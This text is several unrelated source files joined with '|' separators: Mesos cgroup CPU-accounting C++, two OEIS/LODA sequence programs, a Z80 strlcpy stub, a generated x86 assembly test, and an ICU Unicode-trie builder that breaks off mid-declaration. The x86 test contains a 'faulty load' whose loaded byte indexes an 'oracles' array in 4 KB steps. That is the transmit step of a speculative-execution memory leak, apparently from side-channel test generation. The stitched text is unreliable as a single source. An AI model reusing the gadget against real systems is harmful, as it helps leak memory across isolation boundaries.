// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <process/id.hpp>
#include "linux/cgroups.hpp"
#include "slave/containerizer/mesos/isolators/cgroups/subsystems/cpuacct.hpp"
using process::Failure;
using process::Future;
using process::Owned;
using std::set;
using std::string;
namespace mesos {
namespace internal {
namespace slave {
Try<Owned<Subsystem>> CpuacctSubsystem::create(
const Flags& flags,
const string& hierarchy)
{
return Owned<Subsystem>(new CpuacctSubsystem(flags, hierarchy));
}
CpuacctSubsystem::CpuacctSubsystem(
const Flags& _flags,
const string& _hierarchy)
: ProcessBase(process::ID::generate("cgroups-cpuacct-subsystem")),
Subsystem(_flags, _hierarchy) {}
Future<ResourceStatistics> CpuacctSubsystem::usage(
const ContainerID& containerId,
const string& cgroup)
{
ResourceStatistics result;
// TODO(chzhcn): Getting the number of processes and threads is
// available as long as any cgroup subsystem is used so this best
// not be tied to a specific cgroup subsystem. A better place is
// probably Linux Launcher, which uses the cgroup freezer subsystem.
// That requires some change for it to adopt the new semantics of
// reporting subsystem-independent cgroup usage.
// Note: The complexity of this operation is linear to the number of
// processes and threads in a container: the kernel has to allocate
// memory to contain the list of pids or tids; the userspace has to
// parse the cgroup files to get the size. If this proves to be a
// performance bottleneck, some kind of rate limiting mechanism
// needs to be employed.
if (flags.cgroups_cpu_enable_pids_and_tids_count) {
Try<set<pid_t>> pids = cgroups::processes(hierarchy, cgroup);
if (pids.isError()) {
return Failure("Failed to get number of processes: " + pids.error());
}
result.set_processes(pids.get().size());
Try<set<pid_t>> tids = cgroups::threads(hierarchy, cgroup);
if (tids.isError()) {
return Failure("Failed to get number of threads: " + tids.error());
}
result.set_threads(tids.get().size());
}
// Get the number of clock ticks, used for cpu accounting.
static long ticks = sysconf(_SC_CLK_TCK);
PCHECK(ticks > 0) << "Failed to get sysconf(_SC_CLK_TCK)";
// Add the cpuacct.stat information.
Try<hashmap<string, uint64_t>> stat = cgroups::stat(
hierarchy,
cgroup,
"cpuacct.stat");
if (stat.isError()) {
return Failure("Failed to read 'cpuacct.stat': " + stat.error());
}
// TODO(bmahler): Add namespacing to cgroups to enforce the expected
// structure, e.g., cgroups::cpuacct::stat.
Option<uint64_t> user = stat.get().get("user");
Option<uint64_t> system = stat.get().get("system");
if (user.isSome() && system.isSome()) {
result.set_cpus_user_time_secs((double) user.get() / (double) ticks);
result.set_cpus_system_time_secs((double) system.get() / (double) ticks);
}
return result;
}
} // namespace slave {
} // namespace internal {
} // namespace mesos {
|
; A152692: a(n) = n*3^n - n*2^n - n*1^n.
; 0,0,8,54,256,1050,3984,14406,50432,172530,580240,1926078,6328128,20619690,66732176,214742070,687698944,2193154530,6968850192,22073006382,69714716480,219623377050,690291036688,2165100175014,6777906222336,21181376375250,66086766706064,205887508215966,640542672546112,1990265374325130,6176701750584720
sub $2,$0
cal $0,4142 ; n(3^n-2^n).
mov $1,$0
add $1,$2
|
; CALLER linkage for function pointers
XLIB strlcpy
LIB strlcpy_callee
XREF ASMDISP_STRLCPY_CALLEE
.strlcpy
pop af
pop bc
pop hl
pop de
push de
push hl
push bc
push af
jp strlcpy_callee + ASMDISP_STRLCPY_CALLEE
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %r8
push %r9
push %rdx
lea addresses_D_ht+0x228a, %r11
nop
nop
nop
cmp $11334, %rdx
vmovups (%r11), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r14
nop
dec %r15
lea addresses_WT_ht+0xbe0e, %r8
clflush (%r8)
and $14443, %r14
mov (%r8), %r9w
cmp %r8, %r8
lea addresses_WC_ht+0x1d27f, %r14
cmp %rdx, %rdx
movb (%r14), %r8b
nop
nop
sub $48423, %r14
pop %rdx
pop %r9
pop %r8
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r8
push %r9
push %rax
push %rbp
push %rdx
// Load
lea addresses_WT+0x12e9f, %r13
nop
nop
nop
nop
nop
cmp %rdx, %rdx
movups (%r13), %xmm2
vpextrq $1, %xmm2, %rax
nop
nop
nop
nop
add $50451, %rdx
// Store
lea addresses_WT+0x1c22, %r15
nop
nop
nop
cmp %r8, %r8
movl $0x51525354, (%r15)
dec %r15
// Store
mov $0x47f, %rbp
nop
nop
add %rdx, %rdx
mov $0x5152535455565758, %r9
movq %r9, %xmm0
vmovups %ymm0, (%rbp)
nop
nop
nop
add %rax, %rax
// Load
mov $0x717b40000000087f, %rax
nop
nop
nop
nop
nop
add $30365, %r13
movb (%rax), %r9b
nop
add %rax, %rax
// Store
lea addresses_WT+0x19c7f, %r9
nop
nop
nop
xor $14129, %r15
mov $0x5152535455565758, %r13
movq %r13, %xmm1
movntdq %xmm1, (%r9)
nop
nop
nop
nop
nop
and $2904, %r15
// Faulty Load
lea addresses_PSE+0x387f, %r15
nop
nop
cmp $32607, %rdx
mov (%r15), %r8w
lea oracles, %rax
and $0xff, %r8
shlq $12, %r8
mov (%rax,%r8,1), %r8
pop %rdx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': False}}
{'33': 698}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; A276300: Number of 3 X n 0..2 arrays with no element equal to any value at offset (-2,-1) (-1,1) or (0,-1) and new values introduced in order 0..2.
; Submitted by Jon Maiga
; 5,11,45,173,693,2765,11061,44237,176949,707789,2831157,11324621,45298485,181193933,724775733,2899102925,11596411701,46385646797,185542587189,742170348749,2968681394997,11874725579981,47498902319925,189995609279693,759982437118773,3039929748475085,12159718993900341,48638875975601357,194555503902405429,778222015609621709,3112888062438486837,12451552249753947341,49806208999015789365,199224835996063157453,796899343984252629813,3187597375937010519245,12750389503748042076981,51001558014992168307917
lpb $0
sub $0,1
add $1,2
mov $2,$3
mul $2,5
add $2,3
add $3,$1
add $2,$3
sub $2,2
add $1,$2
lpe
mov $0,$2
mul $0,2
add $0,5
|
/*
******************************************************************************
*
* Copyright (C) 2001-2014, International Business Machines
* Corporation and others. All Rights Reserved.
*
******************************************************************************
* file name: utrie2_builder.cpp
* encoding: US-ASCII
* tab size: 8 (not used)
* indentation:4
*
* created on: 2008sep26 (split off from utrie2.c)
* created by: Markus W. Scherer
*
* This is a common implementation of a Unicode trie.
* It is a kind of compressed, serializable table of 16- or 32-bit values associated with
* Unicode code points (0..0x10ffff).
* This is the second common version of a Unicode trie (hence the name UTrie2).
* See utrie2.h for a comparison.
*
* This file contains only the builder code.
* See utrie2.c for the runtime and enumeration code.
*/
#ifdef UTRIE2_DEBUG
# include <stdio.h>
#endif
#include "unicode/utypes.h"
#include "cmemory.h"
#include "utrie2.h"
#include "utrie2_impl.h"
#include "utrie.h" /* for utrie2_fromUTrie() and utrie_swap() */
/* Implementation notes ----------------------------------------------------- */
/*
* The UTRIE2_SHIFT_1, UTRIE2_SHIFT_2, UTRIE2_INDEX_SHIFT and other values
* have been chosen to minimize trie sizes overall.
* Most of the code is flexible enough to work with a range of values,
* within certain limits.
*
* Exception: Support for separate values for lead surrogate code _units_
* vs. code _points_ was added after the constants were fixed,
* and has not been tested nor particularly designed for different constant values.
* (Especially the utrie2_enum() code that jumps to the special LSCP index-2
* part and back.)
*
* Requires UTRIE2_SHIFT_2<=6. Otherwise 0xc0 which is the top of the ASCII-linear data
* including the bad-UTF-8-data block is not a multiple of UTRIE2_DATA_BLOCK_LENGTH
* and map[block>>UTRIE2_SHIFT_2] (used in reference counting and compaction
* remapping) stops working.
*
* Requires UTRIE2_SHIFT_1>=10 because utrie2_enumForLeadSurrogate()
* assumes that a single index-2 block is used for 0x400 code points
* corresponding to one lead surrogate.
*
* Requires UTRIE2_SHIFT_1<=16. Otherwise one single index-2 block contains
* more than one Unicode plane, and the split of the index-2 table into a BMP
* part and a supplementary part, with a gap in between, would not work.
*
* Requires UTRIE2_INDEX_SHIFT>=1 not because of the code but because
* there is data with more than 64k distinct values,
* for example for Unihan collation with a separate collation weight per
* Han character.
*/
/* Building a trie ----------------------------------------------------------*/
enum {
/** The null index-2 block, following the gap in the index-2 table. */
UNEWTRIE2_INDEX_2_NULL_OFFSET=UNEWTRIE2_INDEX_GAP_OFFSET+UNEWTRIE2_INDEX_GAP_LENGTH,
/** The start of allocated index-2 blocks. */
UNEWTRIE2_INDEX_2_START_OFFSET=UNEWTRIE2_INDEX_2_NULL_OFFSET+UTRIE2_INDEX_2_BLOCK_LENGTH,
/**
* The null data block.
* Length 64=0x40 even if UTRIE2_DATA_BLOCK_LENGTH is smaller,
* to work with 6-bit trail bytes from 2-byte UTF-8.
*/
UNEWTRIE2_DATA_NULL_OFFSET=UTRIE2_DATA_START_OFFSET,
/** The start of allocated data blocks. */
UNEWTRIE2_DATA_START_OFFSET=UNEWTRIE2_DATA_NULL_OFFSET+0x40,
/**
* The start of data blocks for U+0800 and above.
* Below, compaction uses a block length of 64 for 2-byte UTF-8.
* From here on, compaction uses UTRIE2_DATA_BLOCK_LENGTH.
* Data values for 0x780 code points beyond ASCII.
*/
UNEWTRIE2_DATA_0800_OFFSET=UNEWTRIE2_DATA_START_OFFSET+0x780
};
/* Start with allocation of 16k data entries. */
#define UNEWTRIE2_INITIAL_DATA_LENGTH ((int32_t)1<<14)
/* Grow about 8x each time. */
#define UNEWTRIE2_MEDIUM_DATA_LENGTH ((int32_t)1<<17)
static int32_t
allocIndex2Block(UNewTrie2 *trie);
U_CAPI UTrie2 * U_EXPORT2
utrie2_open(uint32_t initialValue, uint32_t errorValue, UErrorCode *pErrorCode) {
UTrie2 *trie;
UNewTrie2 *newTrie;
uint32_t *data;
int32_t i, j;
if(U_FAILURE(*pErrorCode)) {
return NULL;
}
trie=(UTrie2 *)uprv_malloc(sizeof(UTrie2));
newTrie=(UNewTrie2 *)uprv_malloc(sizeof(UNewTrie2));
data=(uint32_t *)uprv_malloc(UNEWTRIE2_INITIAL_DATA_LENGTH*4);
if(trie==NULL || newTrie==NULL || data==NULL) {
uprv_free(trie);
uprv_free(newTrie);
uprv_free(data);
*pErrorCode=U_MEMORY_ALLOCATION_ERROR;
return 0;
}
uprv_memset(trie, 0, sizeof(UTrie2));
trie->initialValue=initialValue;
trie->errorValue=errorValue;
trie->highStart=0x110000;
trie->newTrie=newTrie;
newTrie->data=data;
newTrie->dataCapacity=UNEWTRIE2_INITIAL_DATA_LENGTH;
newTrie->initialValue=initialValue;
newTrie->errorValue=errorValue;
newTrie->highStart=0x110000;
newTrie->firstFreeBlock=0; /* no free block in the list */
newTrie->isCompacted=FALSE;
/*
* preallocate and reset
* - ASCII
* - the bad-UTF-8-data block
* - the null data block
*/
for(i=0; i<0x80; ++i) {
newTrie->data[i]=initialValue;
}
for(; i<0xc0; ++i) {
newTrie->data[i]=errorValue;
}
for(i=UNEWTRIE2_DATA_NULL_OFFSET; i<UNEWTRIE2_DATA_START_OFFSET; ++i) {
newTrie->data[i]=initialValue;
}
newTrie->dataNullOffset=UNEWTRIE2_DATA_NULL_OFFSET;
newTrie->dataLength=UNEWTRIE2_DATA_START_OFFSET;
/* set the index-2 indexes for the 2=0x80>>UTRIE2_SHIFT_2 ASCII data blocks */
for(i=0, j=0; j<0x80; ++i, j+=UTRIE2_DATA_BLOCK_LENGTH) {
newTrie->index2[i]=j;
newTrie->map[i]=1;
}
/* reference counts for the bad-UTF-8-data block */
for(; j<0xc0; ++i, j+=UTRIE2_DATA_BLOCK_LENGTH) {
newTrie->map[i]=0;
}
/*
* Reference counts for the null data block: all blocks except for the ASCII blocks.
* Plus 1 so that we don't drop this block during compaction.
* Plus as many as needed for lead surrogate code points.
*/
/* i==newTrie->dataNullOffset */
newTrie->map[i++]=
(0x110000>>UTRIE2_SHIFT_2)-
(0x80>>UTRIE2_SHIFT_2)+
1+
UTRIE2_LSCP_INDEX_2_LENGTH;
j+=UTRIE2_DATA_BLOCK_LENGTH;
for(; j<UNEWTRIE2_DATA_START_OFFSET; ++i, j+=UTRIE2_DATA_BLOCK_LENGTH) {
newTrie->map[i]=0;
}
/*
* set the remaining indexes in the BMP index-2 block
* to the null data block
*/
for(i=0x80>>UTRIE2_SHIFT_2; i<UTRIE2_INDEX_2_BMP_LENGTH; ++i) {
newTrie->index2[i]=UNEWTRIE2_DATA_NULL_OFFSET;
}
/*
* Fill the index gap with impossible values so that compaction
* does not overlap other index-2 blocks with the gap.
*/
for(i=0; i<UNEWTRIE2_INDEX_GAP_LENGTH; ++i) {
newTrie->index2[UNEWTRIE2_INDEX_GAP_OFFSET+i]=-1;
}
/* set the indexes in the null index-2 block */
for(i=0; i<UTRIE2_INDEX_2_BLOCK_LENGTH; ++i) {
newTrie->index2[UNEWTRIE2_INDEX_2_NULL_OFFSET+i]=UNEWTRIE2_DATA_NULL_OFFSET;
}
newTrie->index2NullOffset=UNEWTRIE2_INDEX_2_NULL_OFFSET;
newTrie->index2Length=UNEWTRIE2_INDEX_2_START_OFFSET;
/* set the index-1 indexes for the linear index-2 block */
for(i=0, j=0;
i<UTRIE2_OMITTED_BMP_INDEX_1_LENGTH;
++i, j+=UTRIE2_INDEX_2_BLOCK_LENGTH
) {
newTrie->index1[i]=j;
}
/* set the remaining index-1 indexes to the null index-2 block */
for(; i<UNEWTRIE2_INDEX_1_LENGTH; ++i) {
newTrie->index1[i]=UNEWTRIE2_INDEX_2_NULL_OFFSET;
}
/*
* Preallocate and reset data for U+0080..U+07ff,
* for 2-byte UTF-8 which will be compacted in 64-blocks
* even if UTRIE2_DATA_BLOCK_LENGTH is smaller.
*/
for(i=0x80; i<0x800; i+=UTRIE2_DATA_BLOCK_LENGTH) {
utrie2_set32(trie, i, initialValue, pErrorCode);
}
return trie;
}
static UNewTrie2 *
cloneBuilder(const UNewTrie2 *other) {
UNewTrie2 *trie;
trie=(UNewTrie2 *)uprv_malloc(sizeof(UNewTrie2));
if(trie==NULL) {
return NULL;
}
trie->data=(uint32_t *)uprv_malloc(other->dataCapacity*4);
if(trie->data==NULL) {
uprv_free(trie);
return NULL;
}
trie->dataCapacity=other->dataCapacity;
/* clone data */
uprv_memcpy(trie->index1, other->index1, sizeof(trie->index1));
uprv_memcpy(trie->index2, other->index2, other->index2Length*4);
trie->index2NullOffset=other->index2NullOffset;
trie->index2Length=other->index2Length;
uprv_memcpy(trie->data, other->data, other->dataLength*4);
trie->dataNullOffset=other->dataNullOffset;
trie->dataLength=other->dataLength;
/* reference counters */
if(other->isCompacted) {
trie->firstFreeBlock=0;
} else {
uprv_memcpy(trie->map, other->map, (other->dataLength>>UTRIE2_SHIFT_2)*4);
trie->firstFreeBlock=other->firstFreeBlock;
}
trie->initialValue=other->initialValue;
trie->errorValue=other->errorValue;
trie->highStart=other->highStart;
trie->isCompacted=other->isCompacted;
return trie;
}
U_CAPI UTrie2 * U_EXPORT2
utrie2_clone(const UTrie2 *other, UErrorCode *pErrorCode) {
UTrie2 *trie;
if(U_FAILURE(*pErrorCode)) {
return NULL;
}
if(other==NULL || (other->memory==NULL && other->newTrie==NULL)) {
*pErrorCode=U_ILLEGAL_ARGUMENT_ERROR;
return NULL;
}
trie=(UTrie2 *)uprv_malloc(sizeof(UTrie2));
if(trie==NULL) {
return NULL;
}
uprv_memcpy(trie, other, sizeof(UTrie2));
if(other->memory!=NULL) {
trie->memory=uprv_malloc(other->length);
if(trie->memory!=NULL) {
trie->isMemoryOwned=TRUE;
uprv_memcpy(trie->memory, other->memory, other->length);
/* make the clone's pointers point to its own memory */
trie->index=(uint16_t *)trie->memory+(other->index-(uint16_t *)other->memory);
if(other->data16!=NULL) {
trie->data16=(uint16_t *)trie->memory+(other->data16-(uint16_t *)other->memory);
}
if(other->data32!=NULL) {
trie->data32=(uint32_t *)trie->memory+(other->data32-(uint32_t *)other->memory);
}
}
} else /* other->newTrie!=NULL */ {
trie->newTrie=cloneBuilder(other->newTrie);
}
if(trie->memory==NULL && trie->newTrie==NULL) {
uprv_free(trie);
trie=NULL;
}
return trie;
}
typedef struct NewTrieAndStatus {
UTrie2 *trie;
UErrorCode errorCode;
UBool exclusiveLimit; /* rather than inclusive range end */
} NewTrieAndStatus;
static UBool U_CALLCONV
copyEnumRange(const void *context, UChar32 start, UChar32 end, uint32_t value) {
NewTrieAndStatus *nt=(NewTrieAndStatus *)context;
if(value!=nt->trie->initialValue) {
if(nt->exclusiveLimit) {
--end;
}
if(start==end) {
utrie2_set32(nt->trie, start, value, &nt->errorCode);
} else {
utrie2_setRange32(nt->trie, start, end, value, TRUE, &nt->errorCode);
}
return U_SUCCESS(nt->errorCode);
} else {
return TRUE;
}
}
#ifdef UTRIE2_DEBUG
static void
utrie_printLengths(const UTrie *trie) {
long indexLength=trie->indexLength;
long dataLength=(long)trie->dataLength;
long totalLength=(long)sizeof(UTrieHeader)+indexLength*2+dataLength*(trie->data32!=NULL ? 4 : 2);
printf("**UTrieLengths** index:%6ld data:%6ld serialized:%6ld\n",
indexLength, dataLength, totalLength);
}
static void
utrie2_printLengths(const UTrie2 *trie, const char *which) {
long indexLength=trie->indexLength;
long dataLength=(long)trie->dataLength;
long totalLength=(long)sizeof(UTrie2Header)+indexLength*2+dataLength*(trie->data32!=NULL ? 4 : 2);
printf("**UTrie2Lengths(%s)** index:%6ld data:%6ld serialized:%6ld\n",
which, indexLength, dataLength, totalLength);
}
#endif
U_CAPI UTrie2 * U_EXPORT2
utrie2_cloneAsThawed(const UTrie2 *other, UErrorCode *pErrorCode) {
NewTrieAndStatus context;
UChar lead;
if(U_FAILURE(*pErrorCode)) {
return NULL;
}
if(other==NULL || (other->memory==NULL && other->newTrie==NULL)) {
*pErrorCode=U_ILLEGAL_ARGUMENT_ERROR;
return NULL;
}
if(other->newTrie!=NULL && !other->newTrie->isCompacted) {
return utrie2_clone(other, pErrorCode); /* clone an unfrozen trie */
}
/* Clone the frozen trie by enumerating it and building a new one. */
context.trie=utrie2_open(other->initialValue, other->errorValue, pErrorCode);
if(U_FAILURE(*pErrorCode)) {
return NULL;
}
context.exclusiveLimit=FALSE;
context.errorCode=*pErrorCode;
utrie2_enum(other, NULL, copyEnumRange, &context);
*pErrorCode=context.errorCode;
for(lead=0xd800; lead<0xdc00; ++lead) {
uint32_t value;
if(other->data32==NULL) {
value=UTRIE2_GET16_FROM_U16_SINGLE_LEAD(other, lead);
} else {
value=UTRIE2_GET32_FROM_U16_SINGLE_LEAD(other, lead);
}
if(value!=other->initialValue) {
utrie2_set32ForLeadSurrogateCodeUnit(context.trie, lead, value, pErrorCode);
}
}
if(U_FAILURE(*pErrorCode)) {
utrie2_close(context.trie);
context.trie=NULL;
}
return context.trie;
}
/* Almost the same as utrie2_cloneAsThawed() but copies a UTrie and freezes the clone. */
U_CAPI UTrie2 * U_EXPORT2
utrie2_fromUTrie(const UTrie *trie1, uint32_t errorValue, UErrorCode *pErrorCode) {
NewTrieAndStatus context;
UChar lead;
if(U_FAILURE(*pErrorCode)) {
return NULL;
}
if(trie1==NULL) {
*pErrorCode=U_ILLEGAL_ARGUMENT_ERROR;
return NULL;
}
context.trie=utrie2_open(trie1->initialValue, errorValue, pErrorCode);
if(U_FAILURE(*pErrorCode)) {
return NULL;
}
context.exclusiveLimit=TRUE;
context.errorCode=*pErrorCode;
utrie_enum(trie1, NULL, copyEnumRange, &context);
*pErrorCode=context.errorCode;
for(lead=0xd800; lead<0xdc00; ++lead) {
uint32_t value;
if(trie1->data32==NULL) {
value=UTRIE_GET16_FROM_LEAD(trie1, lead);
} else {
value=UTRIE_GET32_FROM_LEAD(trie1, lead);
}
if(value!=trie1->initialValue) {
utrie2_set32ForLeadSurrogateCodeUnit(context.trie, lead, value, pErrorCode);
}
}
if(U_SUCCESS(*pErrorCode)) {
utrie2_freeze(context.trie,
trie1->data32!=NULL ? UTRIE2_32_VALUE_BITS : UTRIE2_16_VALUE_BITS,
pErrorCode);
}
#ifdef UTRIE2_DEBUG
if(U_SUCCESS(*pErrorCode)) {
utrie_printLengths(trie1);
utrie2_printLengths(context.trie, "fromUTrie");
}
#endif
if(U_FAILURE(*pErrorCode)) {
utrie2_close(context.trie);
context.trie=NULL;
}
return context.trie;
}
static inline UBool
isInNullBlock(UNewTrie2 *trie, UChar32 c, UBool forLSCP) {
int32_t i2, block;
if(U_IS_LEAD(c) && forLSCP) {
i2=(UTRIE2_LSCP_INDEX_2_OFFSET-(0xd800>>UTRIE2_SHIFT_2))+
(c>>UTRIE2_SHIFT_2);
} else {
i2=trie->index1[c>>UTRIE2_SHIFT_1]+
((c>>UTRIE2_SHIFT_2)&UTRIE2_INDEX_2_MASK);
}
block=trie->index2[i2];
return (UBool)(block==trie->dataNullOffset);
}
static int32_t
allocIndex2Block(UNewTrie2 *trie) {
int32_t newBlock, newTop;
newBlock=trie->index2Length;
newTop=newBlock+UTRIE2_INDEX_2_BLOCK_LENGTH;
if(newTop>UPRV_LENGTHOF(trie->index2)) {
/*
* Should never occur.
* Either UTRIE2_MAX_BUILD_TIME_INDEX_LENGTH is incorrect,
* or the code writes more values than should be possible.
*/
return -1;
}
trie->index2Length=newTop;
uprv_memcpy(trie->index2+newBlock, trie->index2+trie->index2NullOffset, UTRIE2_INDEX_2_BLOCK_LENGTH*4);
return newBlock;
}
static int32_t
getIndex2Block(UNewTrie2 *trie, UChar32 c, UBool forLSCP) {
int32_t i1, i2;
if(U_IS_LEAD(c) && forLSCP) {
return UTRIE2_LSCP_INDEX_2_OFFSET;
}
i1=c>>UTRIE2_SHIFT_1;
i2=trie->index1[i1];
if(i2==trie->index2NullOffset) {
i2=allocIndex2Block(trie);
if(i2<0) {
return -1; /* program error */
}
trie->index1[i1]=i2;
}
return i2;
}
static int32_t
allocDataBlock(UNewTrie2 *trie, int32_t copyBlock) {
int32_t newBlock, newTop;
if(trie->firstFreeBlock!=0) {
/* get the first free block */
newBlock=trie->firstFreeBlock;
trie->firstFreeBlock=-trie->map[newBlock>>UTRIE2_SHIFT_2];
} else {
/* get a new block from the high end */
newBlock=trie->dataLength;
newTop=newBlock+UTRIE2_DATA_BLOCK_LENGTH;
if(newTop>trie->dataCapacity) {
/* out of memory in the data array */
int32_t capacity;
uint32_t *data;
if(trie->dataCapacity<UNEWTRIE2_MEDIUM_DATA_LENGTH) {
capacity=UNEWTRIE2_MEDIUM_DATA_LENGTH;
} else if(trie->dataCapacity<UNEWTRIE2_MAX_DATA_LENGTH) {
capacity=UNEWTRIE2_MAX_DATA_LENGTH;
} else {
/*
* Should never occur.
* Either UNEWTRIE2_MAX_DATA_LENGTH is incorrect,
* or the code writes more values than should be possible.
*/
return -1;
}
data=(uint32_t *)uprv_malloc(capacity*4);
if(data==NULL) {
return -1;
}
uprv_memcpy(data, trie->data, trie->dataLength*4);
uprv_free(trie->data);
trie->data=data;
trie->dataCapacity=capacity;
}
trie->dataLength=newTop;
}
uprv_memcpy(trie->data+newBlock, trie->data+copyBlock, UTRIE2_DATA_BLOCK_LENGTH*4);
trie->map[newBlock>>UTRIE2_SHIFT_2]=0;
return newBlock;
}
/* call when the block's reference counter reaches 0 */
static void
releaseDataBlock(UNewTrie2 *trie, int32_t block) {
/* put this block at the front of the free-block chain */
trie->map[block>>UTRIE2_SHIFT_2]=-trie->firstFreeBlock;
trie->firstFreeBlock=block;
}
static inline UBool
isWritableBlock(UNewTrie2 *trie, int32_t block) {
return (UBool)(block!=trie->dataNullOffset && 1==trie->map[block>>UTRIE2_SHIFT_2]);
}
static inline void
setIndex2Entry(UNewTrie2 *trie, int32_t i2, int32_t block) {
int32_t oldBlock;
++trie->map[block>>UTRIE2_SHIFT_2]; /* increment first, in case block==oldBlock! */
oldBlock=trie->index2[i2];
if(0 == --trie->map[oldBlock>>UTRIE2_SHIFT_2]) {
releaseDataBlock(trie, oldBlock);
}
trie->index2[i2]=block;
}
/**
* No error checking for illegal arguments.
*
* @return -1 if no new data block available (out of memory in data array)
* @internal
*/
static int32_t
getDataBlock(UNewTrie2 *trie, UChar32 c, UBool forLSCP) {
int32_t i2, oldBlock, newBlock;
i2=getIndex2Block(trie, c, forLSCP);
if(i2<0) {
return -1; /* program error */
}
i2+=(c>>UTRIE2_SHIFT_2)&UTRIE2_INDEX_2_MASK;
oldBlock=trie->index2[i2];
if(isWritableBlock(trie, oldBlock)) {
return oldBlock;
}
/* allocate a new data block */
newBlock=allocDataBlock(trie, oldBlock);
if(newBlock<0) {
/* out of memory in the data array */
return -1;
}
setIndex2Entry(trie, i2, newBlock);
return newBlock;
}
/**
* @return TRUE if the value was successfully set
*/
static void
set32(UNewTrie2 *trie,
UChar32 c, UBool forLSCP, uint32_t value,
UErrorCode *pErrorCode) {
int32_t block;
if(trie==NULL || trie->isCompacted) {
*pErrorCode=U_NO_WRITE_PERMISSION;
return;
}
block=getDataBlock(trie, c, forLSCP);
if(block<0) {
*pErrorCode=U_MEMORY_ALLOCATION_ERROR;
return;
}
trie->data[block+(c&UTRIE2_DATA_MASK)]=value;
}
U_CAPI void U_EXPORT2
utrie2_set32(UTrie2 *trie, UChar32 c, uint32_t value, UErrorCode *pErrorCode) {
if(U_FAILURE(*pErrorCode)) {
return;
}
if((uint32_t)c>0x10ffff) {
*pErrorCode=U_ILLEGAL_ARGUMENT_ERROR;
return;
}
set32(trie->newTrie, c, TRUE, value, pErrorCode);
}
U_CAPI void U_EXPORT2
